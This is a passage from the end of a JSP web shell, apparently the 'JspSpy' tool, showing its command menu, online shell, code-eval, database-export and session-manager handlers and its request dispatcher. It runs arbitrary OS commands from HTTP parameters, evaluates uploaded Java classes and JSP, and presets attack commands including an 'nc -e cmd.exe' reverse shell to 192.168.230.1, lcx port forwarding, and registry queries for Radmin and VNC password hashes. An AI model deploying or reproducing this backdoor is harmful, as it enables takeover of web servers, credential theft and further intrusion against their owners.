3638								+ "						<option value=\"netstat -an\">netstat -an</option>"
3639								+ "						<option value=\"net user\">net user</option>"
3640								+ "						<option value=\"tasklist\">tasklist</option>"
3641								+ "						<option value=\"tasklist /svc\">tasklist /svc</option>"
3642								+ "						<option value=\"net start\">net start</option>"
3643								+ "						<option value=\"net stop policyagent /yes\">net stop</option>"
3644								+ "						<option value=\"nbtstat -A IP\">nbtstat -A</option>"
3645								+ "						<option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"
3646								+ "						<option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"
3647								+ "						<option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"
3648								+ "						<option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"
3649								+ "						<option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"
3650								+ "						<option value=\"systeminfo\">systeminfo</option>"
3651								+ "						<option value=\"net localgroup\">view groups</option>"
3652								+ "						<option value=\"net localgroup administrators\">view admins</option>"
3653								+ "					</select>"
3654								+ "					<input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"
3655								+ "					<input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"
3656								+ "				</form>"
3657								+ "			<iframe style=\"display:none\" name=\"asyn\"></iframe>");
3658				out.println("    </td>" + "  </tr>" + "</table>");
3659			} catch (Exception e) {
3660				throw e;
3661			}
3662		}
3663	}
3664
3665	private static class OnLineInvoker extends DefaultInvoker {
3666		public boolean doBefore() {
3667			return false;
3668		}
3669
3670		public boolean doAfter() {
3671			return false;
3672		}
3673
3674		public void invoke(HttpServletRequest request,
3675				HttpServletResponse response, HttpSession JSession)
3676				throws Exception {
3677			try {
3678				String type = request.getParameter("type");
3679				if (Util.isEmpty(type))
3680					return;
3681				if (type.toLowerCase().equals("start")) {
3682					String exe = request.getParameter("exe");
3683					if (Util.isEmpty(exe))
3684						return;
3685					Process pro = Runtime.getRuntime().exec(exe);
3686					ByteArrayOutputStream outs = new ByteArrayOutputStream();
3687					response.setContentLength(100000000);
3688					response.setContentType("text/html;charset="
3689							+ System.getProperty("file.encoding"));
3690					OnLineProcess olp = new OnLineProcess(pro);
3691					JSession.setAttribute(SHELL_ONLINE, olp);
3692					new OnLineConnector(new ByteArrayInputStream(outs
3693							.toByteArray()), pro.getOutputStream(),
3694							"exeOclientR", olp).start();
3695					new OnLineConnector(pro.getInputStream(), response
3696							.getOutputStream(), "exeRclientO", olp).start();
3697					new OnLineConnector(pro.getErrorStream(), response
3698							.getOutputStream(), "exeRclientO", olp).start();
3699					Thread.sleep(1000 * 60 * 60 * 24);
3700				} else if (type.equals("ecmd")) {
3701					Object o = JSession.getAttribute(SHELL_ONLINE);
3702					String cmd = request.getParameter("cmd");
3703					if (Util.isEmpty(cmd))
3704						return;
3705					if (o == null)
3706						return;
3707					OnLineProcess olp = (OnLineProcess) o;
3708					olp.setCmd(cmd);
3709				} else {
3710					Object o = JSession.getAttribute(SHELL_ONLINE);
3711					if (o == null)
3712						return;
3713					OnLineProcess olp = (OnLineProcess) o;
3714					olp.stop();
3715				}
3716			} catch (Exception e) {
3717
3718				throw e;
3719			}
3720		}
3721	}
3722
3723	private static class EnterInvoker extends DefaultInvoker {
3724		public boolean doBefore() {
3725			return false;
3726		}
3727
3728		public boolean doAfter() {
3729			return false;
3730		}
3731
3732		public void invoke(HttpServletRequest request,
3733				HttpServletResponse response, HttpSession JSession)
3734				throws Exception {
3735			PrintWriter out = response.getWriter();
3736			String type = request.getParameter("type");
3737			if (!Util.isEmpty(type)) {
3738				JSession.removeAttribute(ENTER);
3739				JSession.removeAttribute(ENTER_MSG);
3740				JSession.removeAttribute(ENTER_CURRENT_DIR);
3741				JSession.setAttribute(MSG, "Exit File Success ! ");
3742			} else {
3743				String f = request.getParameter("filepath");
3744				if (Util.isEmpty(f))
3745					return;
3746				JSession.setAttribute(ENTER, f);
3747				JSession
3748						.setAttribute(
3749								ENTER_MSG,
3750								"You Are In File <a style='color:red'>\""
3751										+ f
3752										+ "\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
3753			}
3754			response.sendRedirect(SHELL_NAME);
3755		}
3756	}
3757
3758	private static class VExport2FileInvoker extends DefaultInvoker {
3759		public void invoke(HttpServletRequest request,
3760				HttpServletResponse response, HttpSession JSession)
3761				throws Exception {
3762			PrintWriter out = response.getWriter();
3763			String type = request.getParameter("type");
3764			String sql = request.getParameter("sql");
3765			String table = request.getParameter("table");
3766			if (Util.isEmpty(sql) && Util.isEmpty(table)) {
3767				JSession.setAttribute(SESSION_O, "vConn");
3768				response.sendRedirect(SHELL_NAME);
3769				return;
3770			}
3771			out
3772					.println("<form action=\"\" method=\"post\">"
3773							+ "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3774							+ "  <tr>"
3775							+ "    <td>"
3776							+ "    <input type=\"hidden\" name=\"o\" value=\"export\"/>"
3777							+ "    <input type=\"hidden\" name=\"type\" value=\""
3778							+ (Util.isEmpty(type) ? "" : type)
3779							+ "\"/>"
3780							+ "    <input type=\"hidden\" name=\"sql\" value=\""
3781							+ (Util.isEmpty(sql) ? "" : sql.replaceAll("\"",
3782									"&quot;"))
3783							+ "\"/>"
3784							+ "    <input type=\"hidden\" name=\"table\" value=\""
3785							+ (Util.isEmpty(table) ? "" : table)
3786							+ "\"/>"
3787							+ "    <h2>Export To File &raquo;</h2>"
3788							+ "        "
3789							+ "    <hr/>Export \"<span style='color:red;font-weight:bold'>"
3790							+ (Util.isEmpty(sql) ? table : sql.replaceAll("\"",
3791									"&quot;"))
3792							+ "</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""
3793							+ (JSession.getAttribute(CURRENT_DIR).toString() + "/exportdata.txt")
3794							+ "\" size=\"100\" class=\"input\"/>"
3795							+ " <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"
3796							+ " <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"
3797							+ BACK_HREF
3798							+ "</td>"
3799							+ "        </tr>"
3800							+ "      </table>" + "</form>");
3801		}
3802	}
3803
3804	private static class ExportInvoker extends DefaultInvoker {
3805		public boolean doBefore() {
3806			return false;
3807		}
3808
3809		public boolean doAfter() {
3810			return false;
3811		}
3812
3813		public void invoke(HttpServletRequest request,
3814				HttpServletResponse response, HttpSession JSession)
3815				throws Exception {
3816			String type = request.getParameter("type");
3817			String filepath = request.getParameter("filepath");
3818			String encode = request.getParameter("encode");
3819			String sql = null;
3820			DBOperator dbo = null;
3821			dbo = (DBOperator) JSession.getAttribute(DBO);
3822
3823			if (Util.isEmpty(type)) {
3824				//table export
3825				String tb = request.getParameter("table");
3826				if (Util.isEmpty(tb))
3827					return;
3828				String s = dbo.getConn().getMetaData()
3829						.getIdentifierQuoteString();
3830				sql = "select * from " + s + tb + s;
3831
3832			} else if (type.equals("queryexp")) {
3833				//query export
3834				sql = request.getParameter("sql");
3835				if (Util.isEmpty(sql)) {
3836					JSession.setAttribute(SESSION_O, "vConn");
3837					response.sendRedirect(SHELL_NAME);
3838					return;
3839				}
3840			}
3841			Object o = dbo.execute(sql);
3842			ByteArrayOutputStream bout = new ByteArrayOutputStream();
3843			byte[] rowSep = "\r\n".getBytes();
3844			if (o instanceof ResultSet) {
3845				ResultSet rs = (ResultSet) o;
3846				ResultSetMetaData meta = rs.getMetaData();
3847				int count = meta.getColumnCount();
3848				for (int i = 1; i <= count; i++) {
3849					String colName = meta.getColumnName(i) + "\t";
3850					byte[] b = null;
3851					if (Util.isEmpty(encode))
3852						b = colName.getBytes();
3853					else
3854						b = colName.getBytes(encode);
3855					bout.write(b, 0, b.length);
3856				}
3857				bout.write(rowSep, 0, rowSep.length);
3858				while (rs.next()) {
3859					for (int i = 1; i <= count; i++) {
3860						String v = null;
3861						try {
3862							v = rs.getString(i);
3863						} catch (SQLException ex) {
3864							v = "<<Error!>>";
3865						}
3866						v += "\t";
3867						byte[] b = null;
3868						if (Util.isEmpty(encode))
3869							b = v.getBytes();
3870						else
3871							b = v.getBytes(encode);
3872						bout.write(b, 0, b.length);
3873					}
3874					bout.write(rowSep, 0, rowSep.length);
3875				}
3876				rs.close();
3877				ByteArrayInputStream input = new ByteArrayInputStream(bout
3878						.toByteArray());
3879				BufferedOutputStream output = null;
3880				if (!Util.isEmpty(filepath)) {
3881					//export2file
3882					output = new BufferedOutputStream(new FileOutputStream(
3883							new File(filepath)));
3884				} else {
3885					//download.
3886					response.setHeader("Content-Disposition",
3887							"attachment;filename=DataExport.txt");
3888					output = new BufferedOutputStream(response
3889							.getOutputStream());
3890				}
3891				byte[] data = new byte[1024];
3892				int len = input.read(data);
3893				while (len != -1) {
3894					output.write(data, 0, len);
3895					len = input.read(data);
3896				}
3897				bout.close();
3898				input.close();
3899				output.close();
3900				if (!Util.isEmpty(filepath)) {
3901					JSession.setAttribute(MSG, "Export To File Success !");
3902					response.sendRedirect(SHELL_NAME);
3903				}
3904			}
3905		}
3906	}
3907
3908	private static class EvalInvoker extends DefaultInvoker {
3909		public void invoke(HttpServletRequest request,
3910				HttpServletResponse response, HttpSession JSession)
3911				throws Exception {
3912			String type = request.getParameter("type");
3913			PrintWriter out = response.getWriter();
3914			Object msg = JSession.getAttribute(MSG);
3915			if (msg != null) {
3916				Util.outMsg(out, (String) msg);
3917				JSession.removeAttribute(MSG);
3918			}
3919			if (Util.isEmpty(type)) {
3920				out
3921						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3922								+ "  <tr>"
3923								+ "    <td><h2>Eval Java Code &raquo;</h2>"
3924								+ "<hr/>"
3925								+ "      <p>"
3926								+ "      <form action=\""
3927								+ SHELL_NAME
3928								+ "?o=eu\" method=\"post\"  enctype=\"multipart/form-data\">"
3929								+ "UpLoad a Class File : ");
3930				Util
3931						.outMsg(
3932								out,
3933								"<pre>"
3934										+ "<span style='color:blue'>public class</span> SpyEval{\r\n"
3935										+ "	<span style='color:blue'>static</span> {\r\n"
3936										+ "		<span style='color:green'>//Your Code Here.</span>\r\n"
3937										+ "	}\r\n" + "}\r\n" + "</pre>", "left");
3938				out
3939						.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"
3940								+ "      <form action=\""
3941								+ SHELL_NAME
3942								+ "\"  method=\"post\"><p></p>Jsp Eval : <br/>"
3943								+ "      <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"
3944								+ "      <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"
3945								+ URLDecoder
3946										.decode(
3947												"%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E",
3948												"utf-8")
3949								+ "</textarea>"
3950								+ "      <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\"  />"
3951								+ "      </form>"
3952								+ "      </p>"
3953								+ "    </td>"
3954								+ "  </tr>" + "</table>");
3955			} else if (type.equals("jsp")) {
3956				String jspc = request.getParameter("jspc");
3957				if (Util.isEmpty(jspc))
3958					return;
3959				File f = new File(SHELL_DIR, "evaltmpninty.jsp");
3960				BufferedWriter writer = new BufferedWriter(
3961						new OutputStreamWriter(new FileOutputStream(f), "utf-8"));
3962				writer.write(jspc, 0, jspc.length());
3963				writer.flush();
3964				writer.close();
3965				out
3966						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3967								+ "  <tr>"
3968								+ "    <td><h2>Jsp Eval Result &raquo;</h2>");
3969				out
3970						.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3971				request.getRequestDispatcher("evaltmpninty.jsp").include(
3972						request, response);
3973				out
3974						.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3975				f.delete();
3976			}
3977		}
3978	}
3979
3980	private static class EvalUploadInvoker extends DefaultInvoker {
3981		public void invoke(HttpServletRequest request,
3982				HttpServletResponse response, HttpSession JSession)
3983				throws Exception {
3984			ByteArrayOutputStream stream = new ByteArrayOutputStream();
3985			UploadBean upload = new UploadBean();
3986			upload.setTargetOutput(stream);
3987			upload.parseRequest(request);
3988
3989			if (stream.toByteArray().length == 2) {
3990				JSession.setAttribute(MSG, "Please Upload Your Class File ! ");
3991				((Invoker) ins.get("ev")).invoke(request, response, JSession);
3992				return;
3993			}
3994			SpyClassLoader loader = new SpyClassLoader();
3995			try {
3996				Class c = loader.defineClass(null, stream.toByteArray());
3997				c.newInstance();
3998			} catch (Exception e) {
3999			}
4000			stream.close();
4001			JSession.setAttribute(MSG, "Eval Java Class Done ! ");
4002			((Invoker) ins.get("ev")).invoke(request, response, JSession);
4003		}
4004	}
4005
4006	private static class VOtherInvoker extends DefaultInvoker {
4007		public void invoke(HttpServletRequest request,
4008				HttpServletResponse response, HttpSession JSession)
4009				throws Exception {
4010			try {
4011				PrintWriter out = response.getWriter();
4012				Object msg = JSession.getAttribute(MSG);
4013				if (msg != null) {
4014					Util.outMsg(out, (String) msg);
4015					JSession.removeAttribute(MSG);
4016				}
4017				out
4018						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
4019								+ "    <tr>"
4020								+ "      <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"
4021								+ "        <div id=\"hOWTm\" style=\"line-height:30px\">"
4022								+ "        <ul>");
4023				Enumeration en = JSession.getAttributeNames();
4024				while (en.hasMoreElements()) {
4025					Object o = en.nextElement();
4026					if (o.toString().equals(MSG))
4027						continue;
4028					out
4029							.println("<li><form action='"
4030									+ SHELL_NAME
4031									+ "' method='post'><u>"
4032									+ o.toString()
4033									+ "</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""
4034									+ JSession.getAttribute(o.toString())
4035									+ "\">");
4036					out
4037							.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
4038					out
4039							.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
4040					out.println("<input type='hidden' name='name' value='"
4041							+ o.toString() + "'/>");
4042					out.println("</form></li>");
4043				}
4044				out
4045						.println("<li style='list-style:none'><form action='"
4046								+ SHELL_NAME
4047								+ "' method='post'><fieldset>"
4048								+ "<legend>New Session Attribute</legend>"
4049								+ "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""
4050								+ " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"
4051								+ " </fieldset></form></li></ul></div></td>"
4052								+ "    </tr>" + "  </table>");
4053			} catch (Exception e) {
4054				throw e;
4055			}
4056		}
4057	}
4058
4059	//Session Manager
4060	private static class SmInvoker extends DefaultInvoker {
4061		public void invoke(HttpServletRequest request,
4062				HttpServletResponse response, HttpSession JSession)
4063				throws Exception {
4064			try {
4065				String type = request.getParameter("type");
4066				PrintWriter out = response.getWriter();
4067				if (type.equals("update")) {
4068					String name = request.getParameter("name");
4069					String value = request.getParameter("value");
4070					JSession.setAttribute(name, value);
4071					JSession
4072							.setAttribute(MSG, "Update/Add Attribute Success !");
4073				} else if (type.equals("delete")) {
4074					String name = request.getParameter("name");
4075					JSession.removeAttribute(name);
4076					JSession.setAttribute(MSG, "Remove Attribute Success !");
4077				}
4078				((Invoker) ins.get("vother")).invoke(request, response,
4079						JSession);
4080			} catch (Exception e) {
4081
4082				throw e;
4083			}
4084		}
4085	}
4086
4087	static {
4088		ins.put("script", new ScriptInvoker());
4089		ins.put("before", new BeforeInvoker());
4090		ins.put("after", new AfterInvoker());
4091		ins.put("deleteBatch", new DeleteBatchInvoker());
4092		ins.put("clipboard", new ClipBoardInvoker());
4093		ins.put("vPortScan", new VPortScanInvoker());
4094		ins.put("portScan", new PortScanInvoker());
4095		ins.put("vConn", new VConnInvoker());
4096		ins.put("dbc", new DbcInvoker());
4097		ins.put("executesql", new ExecuteSQLInvoker());
4098		ins.put("vLogin", new VLoginInvoker());
4099		ins.put("login", new LoginInvoker());
4100		ins.put("filelist", new FileListInvoker());
4101		ins.put("logout", new LogoutInvoker());
4102		ins.put("upload", new UploadInvoker());
4103		ins.put("copy", new CopyInvoker());
4104		ins.put("bottom", new BottomInvoker());
4105		ins.put("vCreateFile", new VCreateFileInvoker());
4106		ins.put("vEdit", new VEditInvoker());
4107		ins.put("createFile", new CreateFileInvoker());
4108		ins.put("vEditProperty", new VEditPropertyInvoker());
4109		ins.put("editProperty", new EditPropertyInvoker());
4110		ins.put("vs", new VsInvoker());
4111		ins.put("shell", new ShellInvoker());
4112		ins.put("down", new DownInvoker());
4113		ins.put("vd", new VdInvoker());
4114		ins.put("downRemote", new DownRemoteInvoker());
4115		ins.put("index", new IndexInvoker());
4116		ins.put("mkdir", new MkDirInvoker());
4117		ins.put("move", new MoveInvoker());
4118		ins.put("removedir", new RemoveDirInvoker());
4119		ins.put("packBatch", new PackBatchInvoker());
4120		ins.put("pack", new PackInvoker());
4121		ins.put("unpack", new UnPackInvoker());
4122		ins.put("vmp", new VmpInvoker());
4123		ins.put("vbc", new VbcInvoker());
4124		ins.put("backConnect", new BackConnectInvoker());
4125		ins.put("jspEnv", new JspEnvInvoker());
4126		ins.put("smp", new SmpInvoker());
4127		ins.put("mapPort", new MapPortInvoker());
4128		ins.put("top", new TopInvoker());
4129		ins.put("vso", new VOnLineShellInvoker());
4130		ins.put("online", new OnLineInvoker());
4131		ins.put("enter", new EnterInvoker());
4132		ins.put("export", new ExportInvoker());
4133		ins.put("ev", new EvalInvoker());
4134		ins.put("eu", new EvalUploadInvoker());
4135		ins.put("vother", new VOtherInvoker());
4136		ins.put("sm", new SmInvoker());
4137		ins.put("vExport", new VExport2FileInvoker());
4138		ins.put("vPack", new VPackConfigInvoker());
4139		ins.put("reflect", new ReflectInvoker());
4140		ins.put("portBack", new PortBackInvoker());
4141	}%>
4142<%
4143	try {
4144		String o = request.getParameter("o");
4145		if (Util.isEmpty(o)) {
4146			if (session.getAttribute(SESSION_O) == null)
4147				o = "index";
4148			else {
4149				o = session.getAttribute(SESSION_O).toString();
4150				session.removeAttribute(SESSION_O);
4151			}
4152		}
4153		Object obj = ins.get(o);
4154		if (obj == null) {
4155			response.sendRedirect(SHELL_NAME);
4156		} else {
4157			Invoker in = (Invoker) obj;
4158			if (in.doBefore()) {
4159				String path = request.getParameter("folder");
4160				if (!Util.isEmpty(path)
4161						&& session.getAttribute(ENTER) == null)
4162					session.setAttribute(CURRENT_DIR, path);
4163				((Invoker) ins.get("before")).invoke(request, response,
4164						session);
4165				((Invoker) ins.get("script")).invoke(request, response,
4166						session);
4167				((Invoker) ins.get("top")).invoke(request, response,
4168						session);
4169			}
4170			in.invoke(request, response, session);
4171			if (!in.doAfter()) {
4172				return;
4173			} else {
4174				((Invoker) ins.get("bottom")).invoke(request, response,
4175						session);
4176				((Invoker) ins.get("after")).invoke(request, response,
4177						session);
4178			}
4179		}
4180	} catch (Exception e) {
4181		Object msg = session.getAttribute(MSG);
4182		if (msg != null) {
4183			Util.outMsg(out, (String) msg);
4184			session.removeAttribute(MSG);
4185		}
4186		if (e.toString().indexOf("ClassCastException") != -1) {
4187			Util.outMsg(out, MODIFIED_ERROR + BACK_HREF);
4188		}
4189		ByteArrayOutputStream bout = new ByteArrayOutputStream();
4190		e.printStackTrace(new PrintStream(bout));
4191		session.setAttribute(CURRENT_DIR, SHELL_DIR);
4192		Util.outMsg(out, Util
4193				.htmlEncode(new String(bout.toByteArray())).replaceAll(
4194						"\n", "<br/>"), "left");
4195		bout.close();
4196		out.flush();
4197		((Invoker) ins.get("bottom"))
4198				.invoke(request, response, session);
4199		((Invoker) ins.get("after")).invoke(request, response, session);
4200	}
4201%>